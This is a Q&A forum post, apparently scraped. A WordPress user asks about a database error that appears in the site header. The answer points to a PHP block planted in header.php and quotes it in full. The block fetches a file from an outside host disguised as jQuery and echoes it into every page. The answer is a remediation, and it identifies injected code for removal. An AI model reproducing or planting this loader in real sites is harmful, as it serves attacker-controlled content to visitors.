Couldn't connect to database server.Couldn'

2019-08-07 10:20发布

问题:

I need your advise.

I'm using wordpress, and i got error on header with following message:

*Couldn't connect to database server.Couldn't find database jimbob_jc.
 An unexpected problem has occured with the application. 
 SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';*

What's that mean? How do I fix it?

I have searched Google but I've not had any success with others having similar problems.

回答1:

Comment out the following code in the header.php file.

<?php
  if(function_exists('curl_init'))
  {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();  
    $timeout = 5;  

    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  

    curl_close($ch); 
    echo "$data";
  }
?>